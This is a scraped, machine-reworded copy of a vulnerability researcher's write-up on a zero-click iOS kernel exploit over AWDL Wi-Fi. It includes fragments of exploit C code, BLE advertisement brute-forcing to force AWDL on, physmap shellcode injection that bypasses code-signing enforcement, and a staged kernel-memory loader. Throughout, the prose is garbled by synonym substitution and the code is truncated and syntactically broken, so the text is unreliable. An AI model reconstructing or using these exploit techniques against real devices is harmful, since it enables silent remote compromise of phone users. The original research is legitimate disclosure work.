  // set the cardboard's MAC to ACK the UMI from the goal

  mt76_debugfs_change_mac(er_para.phy_str, reader_peer);


      WIFI(er_para.dst, reader_peer),






      SYNC_TREE((struct ether_addr*)overflower,

                sizeof(overflower)/sizeof(struct ether_addr)),


  // attempt to obtain a UMI:


  if (steering_tlv) {

    struct mini_tlv {

      uint8_t kind;

      uint16_t len;

    } __attribute__((packed));

    *out_size=((struct mini_tlv*)steering_tlv)->len+3;

  } else {

    printf("did now not get TLVn");


  // NULL out the bsssteering blob

  char null_overflower [128]={0};


      WIFI(er_para.dst, reader_peer),






      SYNC_TREE((struct ether_addr*)null_overflower,

                sizeof(null_overflower)/sizeof(struct ether_addr)),


  // the full of life visible present unit interface would not at all times put together to ACK

  // the primary body, give it a guess


  return steering_tlv;


With some success we will bootstrap the quicker learn former with Eight or fewer early reads which means on an iPhone 11 Good with AWDL enabled popping calc now seems like this:

In this demo AWDL has been manually enabled by opening the sharing panel within the Pictures app. This retains the AWDL interface full of life. The exploit options arbitrary kernel reminiscence learn and write inside only a few seconds and is ready to inject a sign right into a userspace job to cause it to JOP to a single gadget which opens

I talked about that AWDL need to be enabled, it's now not at all times on. In advise to invent this an interactionless zero-click exploit which is ready to accommodate any instrument in radio proximity we subsequently want a way to strain units to allow their AWDL interface.

AWDL is earlier for a complete lot of issues. As an illustration, my iPhone seems to flip on AWDL when it receives a voicemail on account of it really wishes to Airplay the voicemail to my Apple TV. But sending any person a voicemail requires their cell phone amount, and we're purchasing for an assault which requires no identifiers or non-default settings.

The second be taught paper from the SEEMOO labs crew demonstrated an assault to allow AWDL the make the most of of Bluetooth low vitality categorized adverts to strain arbitrary units in radio proximity to allow their AWDL interfaces for Airdrop. SEEMOO did now not publish their code for this assault so I determined to recreate it myself.

In the iOS photographs app when you rob the sharing dialog and click on "Airdrop" a listing of iOS and MacOS units close by seems, all of which you'll presumably presumably effectively ship your characterize to. Most folks get now not want random passers-by sending them unsolicited photographs so the default AirDrop sharing ambiance is "Contacts Completely" which means you'll handiest peek AirDrop sharing requests from customers in your contacts information. But how does this work? For an in-depth dialogue, examine the SEEMOO labs paper.

When a instrument wishes to fragment a file by method of AirDrop it begins broadcasting a bluetooth low-energy categorized adverts which seems like this occasion, broadcast by MacOS:

[PACKET] [ CH:37|CLK:1591031840.920892|RSSI:-44dBm ] >

BLE categorized adverts are diminutive, they've a most payload dimension of 31 bytes. The bundle of bytes on the tip are literally 4 truncated 2-byte SHA256 hashes of the contact recordsdata of the instrument which is making an try to fragment one factor. The contact recordsdata earlier are the e-mail addresses and cell phone numbers related to the instrument's logged-in iCloud story. You could presumably presumably effectively generate the identical truncated hashes like this:

In this case I'm the make the most of of a check out story with the iCloud e-mail deal with: ''

>>> import hashlib

>>> s=''

>>> hashlib.sha256(s.encode('utf-8')).hexdigest()[:4] 


Take a have a look at that this suits the two penultimate bytes within the commercial body confirmed above. The contact hashes are unsalted which can decide up some stress-free penalties when you are dwelling in a rustic with localized cellular cell phone numbers, however that is an comprehensible efficiency optimization.

All iOS units are repeatedly receiving and processing BLE commercial frames like this. In the case of those AirDrop categorized adverts, when the instrument is within the default "Contacts Completely" mode, sharingd (which parses BLE categorized adverts) assessments whether or not this unsalted, truncated hash suits the truncated hashes of any emails or cell phone numbers within the instrument's deal with information.

If a match is stumbled on this does probably now not counsel the sending instrument really is within the receiver's deal with information, true that there is a contact with a colliding hash. In advise to get to the underside of this the units want to fragment further recordsdata and at this degree the receiver allows AWDL to construct a increased-bandwidth dialog channel.

The SEEMOO labs paper continues in mountainous ingredient about how the two units then really check that the sender is within the receiver's deal with information, however we're handiest making an try to get AWDL enabled so we're executed. As prolonged as we retain broadcasting the commercial with the colliding hash the goal's AWDL interface will dwell full of life.

The SEEMOO labs crew paper discusses the custom-made firmware they wrote for a BBC micro:bit so I picked up only a few these:

The BBC micro:bit is an education-centered dev board. This characterize reveals the rear of the board; the doorway has a 5x5 LED matrix and two buttons. They charge beneath $20.

These units are supposed for the schooling/maker market. It be a Nordic nRF51822 SOC with a Freescale KL26 appearing as a USB programmer for the nRF51. BBC present a diminutive programming ambiance for it, however it's possible you'll presumably presumably effectively invent any firmware picture for the nRF51, traipse within the micro:bit which seems as a mass-storage instrument on account of the KL26 and stagger and descend the firmware picture on there. The programmer chip flashes the nRF51 for you and in addition it's possible you'll presumably presumably effectively pace your code. That is the instrument which the SEEMOO labs crew earlier and wrote a personalised firmware for.

Whereas taking part in spherical with the micro:bit I discovered the MIRAGE mission, a generic and amazingly neatly documented mission for doing all method of radio security be taught. Their devices decide up a firmware for the micro:bit, and certainly, dropping their geared up firmware picture on to the micro:bit and dealing this:

sudo ./mirage_launcher ble_sniff SNIFFING_MODE=categorized adverts INTERFACE=microbit0

we're in a task to launch sniffing BLE categorized adverts:

[PACKET] [ CH:37|CLK:1591006615.511192|RSSI:-46dBm ] >

Certainly, when you enact this at dwelling you'll seemingly peek a barrage of BLE on-line web page on-line visitors from each little factor that you could be presumably presumably effectively trust. Apple units are notably chatty, witness the frames despatched at any time when your Airpods case is launch and closed.

If we eradicate a decide about at only a few captured BTLE frames as soon as we attempt to fragment a file by method of AirDrop, we will peek there's clearly building in there:



iOS 13:


             LEN    APPL T L  V

020106       17  ff 4c00 0512 000000000000000001 fa5c 2516 bf07 aba4 00

02011a020a07 0e  ff 4c00 0f05 a035c92829 1002 710c

No doubt seems like further TLVs! With some reversing in sharingd we will resolve out what these varieties are:

"Invalid" 0x0

"Hash" 0x1

"Firm" 0x2

"AirPrint" 0x3

"ATVSetup" 0x4

"AirDrop" 0x5

"HomeKit" 0x6

"Prox" 0x7

"HeySiri" 0x8

"AirPlayTarget" 0x9

"AirPlaySource" 0xa

"MagicSwitch" 0xb

"Continuity" 0xc

"TetheringTarget" 0xd

"TetheringSource" 0xe

"Close byAction" 0xf

"Close byInfo" 0x10

"WatchSetup" 0x11

MacOS is sending AirDrop messages within the BLE categorized adverts. iOS is sending Close byAction and Close byInfo messages.

For discovering out capabilities we want some contacts on the instrument. Cherish the SEEMOO labs paper I generated 100 random contacts the make the most of of a modified model of the AppleScript on this StackOverflow reply. Every contact has Four contact identifiers: dwelling and work e-mail, dwelling and work cell phone numbers.

We can moreover make the most of MIRAGE to prototype brute forcing by the 16 bit house of truncated contact hashes. I wrote a MIRAGE module to broadcast Airdrop categorized adverts with incrementing truncated hashes. The MIRAGE micro:bit firmware would not toughen arbitrary broadcast body injection nevertheless it fully is ready to make the most of the Raspberry Pi 4's constructed-in bluetooth controller. Working it for some time and having a decide about on the console output from the iPhone we witness some secure log messages exhibiting up in

Hashing: Error: didn't get contactsContainsShortHashes on account of (ratelimited)

The SEEMOO paper talked about that they have been in a task to brute strain a truncated hash in only a few seconds nevertheless it fully seems Apple decide up now added some cost limiting.

Spoofing varied BT provide MAC addresses did now not assist however slowing the brute strain makes an attempt to at least one each 2 seconds or so perceived to thrill the cost limiting and in spherical 30 seconds, with frequent success AWDL will get enabled and MI and PSF frames launch to look on the AWDL social channels.

As prolonged as we retain broadcasting the identical commercial with the matching contact hash the AWDL interface will dwell full of life. I did now not want to retain MIRAGE as a dependency so I ported the python prototype to make the most of the linux native libbluetooth library and hci_send_cmd to invent custom-made commercial frames:

uint8_t payload[]={0x02, 0x01, 0x06,



                     0x4c, 0x00, 



                     0x00, 0x00, 0x00, 0x00,

                     0x00, 0x00, 0x00, 0x00, 0x01, 

                     hash1[0], hash1[1],

                     hash2[0], hash2[1],

                     hash3[0], hash3[1],

                     hash4[0], hash4[1],


le_set_advertising_data_cp recordsdata={0};


memcpy(recordsdata.recordsdata, payload, sizeof(payload));

hci_send_cmd(deal with,





Combining the AWDL exploit and BLE brute-pressure, we get a model glossy demo:

With the cell phone left lazy on the dwelling present cowl cowl and no person interaction we strain the AWDL interface to suggested the make the most of of BLE categorized adverts. The AWDL exploit options kernel reminiscence learn write in only a few seconds after starting and the whole finish to full exploit takes spherical a minute.

There can even merely neatly be larger, quicker strategies to pressure-enable AWDL however for my demo this may enact.

This demo is trim however really would not elevate that we now decide up compromised nearly the whole person's recordsdata, and not using a interaction. We can learn and write kernel reminiscence remotely. I do know that Apple has invested beneficial effort in "publish-exploitation" hardening so I essential to show that with true this single vulnerability these can even merely be defeated to the extent the place I'll presumably presumably effectively pace one factor like a true-world implant which we now decide up thought-about being deployed in true world exploitation in opposition to finish customers earlier than. Seeking to defend in opposition to an attacker with arbitrary reminiscence learn/write is a shedding sport, however there is a distinction between saying that and in addition you believing me, and proving it.

We're going to want to jot down important further arbitrary recordsdata for this ultimate step, so we might identical to the arbitrary write to be even quicker. There's one further optimization left.

Because of the advise whereby lots and shops happen in actionFrameReport we have been in a task to invent a former which gave us a timestamp gracious for as a lot as 1024ms and a gargantuan n_frames_in_last_second price. We earlier that to enact one arbitrary add, then restarted your complete setup: modified upper_peer's timestamp with 0, despatched yet another body to get a glossy timestamp and so on.

But why cannot we true retain the make the most of of the primary timestamp and bundle further writes collectively? We can, or not it's true very beneficial to eradicate care that we get now not exceed that 1024ms window. The exploit takes a terribly conservative means proper right here and makes use of handiest only a few further milliseconds. The cause is that we're working as a typical userspace program on a diminutive system. We get now not decide up one factor else like true-time scheduling ensures. Linux kind-of helps working userspace packages on remoted cores to current one factor like a true-time expertise, however for getting this demo exploit working it was sufficient to boost the priority of the exploit job with efficient and traipse away a gargantuan security window within the 1024ms. The code tries to bundle gargantuan buffer writes in chunks of 16 which provides a reasonably priced pace up.

Methodology encourage as soon as I launched the primary demo exploit which disclosed random chunks of bodily reminiscence I had taken a decide about at how the physmap works on iOS.

Linux, Windows and XNU all decide up physmaps; they're a terribly helpful means of manipulating bodily reminiscence when your code has paging enabled and will presumably presumably effectively't straight manipulate bodily reminiscence any longer.

Abstractly, physmaps are digital mappings of all of bodily reminiscence

The physmap is (typically) a 1:1 digital mapping of bodily reminiscence. You could presumably presumably effectively peek within the contrivance how the bodily reminiscence on the underside can even merely be cut up up into varied areas, with only a few of those areas at the moment mapped within the kernel digital deal with house. Some varied bodily reminiscence areas could presumably presumably effectively for example be earlier for userspace processes.

The physmap is the gargantuan kernel digital reminiscence house confirmed in opposition to the efficient of the digital deal with house, which is similar dimension as a result of the quantity of bodily reminiscence. The pagetables which translate digital reminiscence accesses on this house are house up in this type of contrivance that any entry at an offset into the physmap digital house will get translated to that very same offset from the flow into of bodily reminiscence.

The physmap in XNU is now not house up precisely like that. As a alternative they make the most of a "segmented bodily aperture". In practise this suggests that they house up a assortment of smaller "sub-physmaps" throughout the physmap house and populate a desk referred to as the PTOV desk to allow translation from a bodily deal with to a digital deal with throughout the physmap house:

pa: 0x000000080e978000 kva: 0xfffffff070928000 len: 0xde03c000 (3.7GB)

pa: 0x0000000808e14000 kva: 0xfffffff06ade4000 len: 0x05b44000 (95MB)

pa: 0x0000000801b80000 kva: 0xfffffff066000000 len: 0x04cb8000 (80MB)

pa: 0x0000000808d04000 kva: 0xfffffff06acf4000 len: 0x000f0000 (1MB)

pa: 0x0000000808df4000 kva: 0xfffffff06acd4000 len: 0x00020000 (130kb)

pa: 0x0000000808cec000 kva: 0xfffffff06acbc000 len: 0x00018000 (100kb)

pa: 0x0000000808a80000 kva: 0xfffffff06acb8000 len: 0x00004000 (16kb)

pa: 0x0000000808df4000 kva: 0xfffffff06acf4000 len: 0x00000000 (0kb)

There's one further beneficial bodily house now not captured within the PTOV desk which is the kernelcache picture itself; that is stumbled on starting at gVirtBase and the kernel capabilities for translating between bodily and physmap-digital addresses eradicate this into story.

The fascinating factor is that the digital security of the pages within the physmap would not want to match the digital security of the pages as thought-about by a web web page desk traversal from the angle of a task. I wrote some check out code the make the most of of oob_timestamp to overwrite a allotment of its devour __TEXT part within the physmap and it labored, allowing me to ticket glossy native directions. Might presumably we ticket userspace shellcode remotely by writing true straight into the physmap?

This works trustworthy when prototyped the make the most of of oob_timestamp modifying itself; however when you are trying and put it to use to accommodate a system job, it panics. One factor else goes on.

The canonical useful resource for APRR is s1guza's weblog publish. It be a {hardware} customization by Apple to be succesful so as to add an additional layer of indirection to web web page security lookups by method of a retain an eye fixed on register. The web page-tables alone are now not any longer sufficient to go looking out out the runtime reminiscence security of a web web page.

APRR is earlier within the Safari JIT hardening and within the kernel or not it's earlier to place in strain PPL (Internet web page Safety Layer). For an in-depth decide about at PPL examine Brandon Azad's latest weblog publish.

PPL makes use of APRR to dynamically swap the rep web page protections of two kernel areas, a textual content house containing code and a recordsdata house. In normal the PPL textual content house is now not executable and the PPL recordsdata house is now not writable. Crucial recordsdata buildings decide up been moved into this PPL recordsdata house, along with web web page tables and pmaps (the abstraction layer above web web page tables). Your full code which modifies objects inside PPL recordsdata has been moved throughout the PPL textual content part.

But if the PPL textual content is non-executable, how will you pace the code to change the PPL recordsdata areas? And the way in which can you invent them writable?

The ultimate discover method to ticket the code throughout the PPL textual content house is to battle by a trampoline objective which flips the APRR register bits to invent the PPL textual content house executable and the PPL recordsdata house writable earlier than leaping to the geared up ppl_routine. Clearly mountainous care need to be taken to invent advantageous handiest code inside PPL textual content runs on this thunder.

Brandon likened this to a "kernel throughout the kernel" which is an efficient method to evaluate about at it. Adjustments to web web page tables and pmaps are literally imagined to handiest occur by the kernel making "PPL syscalls" to request the modifications, with the implementation of those PPL syscalls being throughout the PPL textual content house. Strive Brandon's weblog publish for dialogue of exploit a vulnerability within the PPL code to invent these modifications anyway!

It seems that or not it's now not true web web page tables and pmaps which PPL protects. Reversing further of the PPL routines there is a fraction of them starting spherical routine 38 which can be implementing a model glossy mannequin of codesigning enforcement referred to as pmap_cs.

Certainly, this pmap_cs string seems within the launched XNU provide, although makes an attempt decide up been made to strip as important of the PPL related code as that you could be presumably presumably effectively trust from the launch provide begin. The vm_map_entry building has this glossy self-discipline:

  /boolean_t */ pmap_cs_associated:1, /pmap_cs will validate */

From this code snippet from vm_fault.c or not it's considerably determined that pmap_cs is a model glossy method to look at code signatures:


  if (fault_info->pmap_cs_associated &&

       pmap_cs_enforced(pmap) &&

       !m->vmp_cs_validated &&

       !m->vmp_cs_tainted &&

       !m->vmp_cs_nx &&

       (prot & VM_PROT_EXECUTE) &&

       (caller_prot & VM_PROT_EXECUTE)) {


          With pmap_cs, the pmap layer will validate the

          code signature for any executable pmap mapping.

          No want for us to validate this web web page too:

          in pmap_cs we imagine...



  } else {




#else /PMAP_CS */


#endif /PMAP_CS */

vm_page_validate_cs is the earlier code-signing enforcement code, which is ready to be with out problems tricked into allowing shellcode by altering the codesigning enforcement flags within the exercise's proc building. The query is what determines whether or not the glossy pmap_cs mannequin or the earlier means is earlier?

The basic query I'm making an try to answer to is why the physmap shellcode injection contrivance works for a check out app I'm debugging, however now not a system job, even when the system job's code signing flags decide up been modified such that it could presumably be allowed to hurry unsigned code?

We can peek a reference to pmap_cs_enforced within the snippet above nevertheless the definition of this vogue is stripped from the launched XNU provide code. With IDA we will peek or not it's checking the byte at offset +0x108 within the pmap building. Nowhere within the XNU code seems to control this self-discipline although.

Reversing the pmap_cs PPL code we achieve that this self-discipline is referenced in pmap_cs_associate_internal_options, referred to as by PPL routine 44.

This objective has some secure logging strings from which we might be taught that or not it's being referred to as to affiliate a code-signing building with a digital reminiscence house. This code signing building is a pmap_cs_code_directory, and we will resolve from this scare log message:

if (trust_level !=3) {

  scare(""making an try to enter a binary in nested house with too low imagine degree %d"", cd_entry->trust_level);


that the self-discipline at +0x54 represents the "imagine degree" of the binary.

Extra down the objective we will peek this:

  if ( trust_level !=1 )

    goto LABEL_38;




Doubtlessly my check out apps signed by my developer certificates are getting this trust_level of 1 and subsequently falling encourage to the earlier code-signing enforcement code. I had a hunch that presumably this moreover utilized to third-occasion capabilities from the App Store; moderately than painstakingly persevering with to reverse engineer pmap_cs I true tried inserting in and dealing an App Store app (on this case, YouTube) on the cell phone then the make the most of of oob_timestamp to dump the pmap buildings for each working job. Certainly, there have been three pmaps with pmap_cs_enforced house to 0: kernel_task (now not so fascinating on account of KTRR protects the kernel TEXT part), oob_timestamp and YouTube!

This implies that we will make the most of the distant kernel learn/write to inject shellcode into any third-occasion app engaged on the instrument. Clearly, we get now not want the prerequisite that the goal wishes to be working a third-occasion utility, so we will make the most of the contrivance developed earlier to launch the calculator to as an completely different spawn a third-occasion app. If the instrument would not decide up any third-occasion capabilities construct on this contrivance would now not work, however we now already decide up kernel reminiscence learn/write so there are various further avenues readily available for working code in some make on the instrument. But for now, we are going to take the goal instrument has now not a lot lower than one App Store app construct in.

Our arbitrary write in all equity instantaneous however quiet too gradual for us to put it to use to jot down a full payload into the physmap that means. As a alternative, let's fabricate a staged loader.

We are succesful of try and write a minimal fragment of preliminary shellcode by method of the physmap which is ready to be pace as a result of the unfounded sign handler. Its handiest motive will seemingly be to bootstrap the subsequent payload and soar to it. The premise will seemingly be to dwelling fragments of our ultimate payload in kernel reminiscence which the bootstrap code will achieve, copy into userspace, invent executable and soar to.

Earlier I mentioned the service_response contrivance for developing a heap groom. I present that this was an nearly most interesting heap grooming former: we retain an eye fixed on the dimensions of the allocations and will presumably presumably effectively dwelling arbitrary bytes at arbitrary offsets inside them. I moreover present that it perceived to be an accurate reminiscence leak as even when the AWDL interface is disabled, the reminiscence by no means will get freed.

This moreover seems like a mountainous former for staging our payload. All we need to enact is resolve out the deal with of the leaked reminiscence.

The parser for the service response TLV (type 2) which causes the reminiscence wraps the kalloc'ed buffer in an IO80211ServiceRequestDescriptor object. The pointer to the buffer is at offset +0x40 in there.

The IO80211ServiceRequestDescriptor is then enqueued into an IO80211CommandQueue within the IO80211AWDLPeerSupervisor at +0x2968 which I've referred to as response_fragments:


The lockEnqueue means calls ::enqueue which is ready to be succesful so as to add the glossy ingredient on the head of the queue's linked listing if each of the two following assessments flow into:

if ( this->max_elems_per_bucket==0x1000000 || 

     this->max_elems_per_bucket this->num_buckets> this->rely )

If these assessments fail the enqueue means returns an error, nevertheless the processServiceResponseTLV means by no means assessments this error. The cause we get an accurate reminiscence leak proper right here is for the reason that peer_manager's response_fragments queue is created with max_elems_per_bucket house to eight, which means that after Eight incomplete fragments decide up arrived no further will seemingly be enqueued. The service response code would not deal with this case and the return price of lockEnqueue is now not checked. The code now not has a pointer to the RequestDescriptor and it'll most definitely presumably now not be freed. That is in some strategies helpful for the heap groom, however by no means helpful as soon as we need to know the deal with of the allocation!

Utilizing the arbitrary write we will develop the queue restrict to a considerable elevated price, and now our code works and we will, with true only a few frames, dwelling managed buffers of as a lot as spherical 1000 bytes in kernel reminiscence and achieve their addresses by parsing the queue building . Right right here is the wrapper objective for this efficiency within the exploit:

uint16_t kmem_leak_peer_id=0;



                    size_t len,

                    uint16_t kalloc_size,

                    uint16_t offset) {

  struct ether_addr kmem_leak_peer= 

    *(ether_aton("22: 99: 33: 71: 00: 00"));



      WIFI(kl_parm.dst, kmem_leak_peer),




Read More

Similar Products:

Recent Content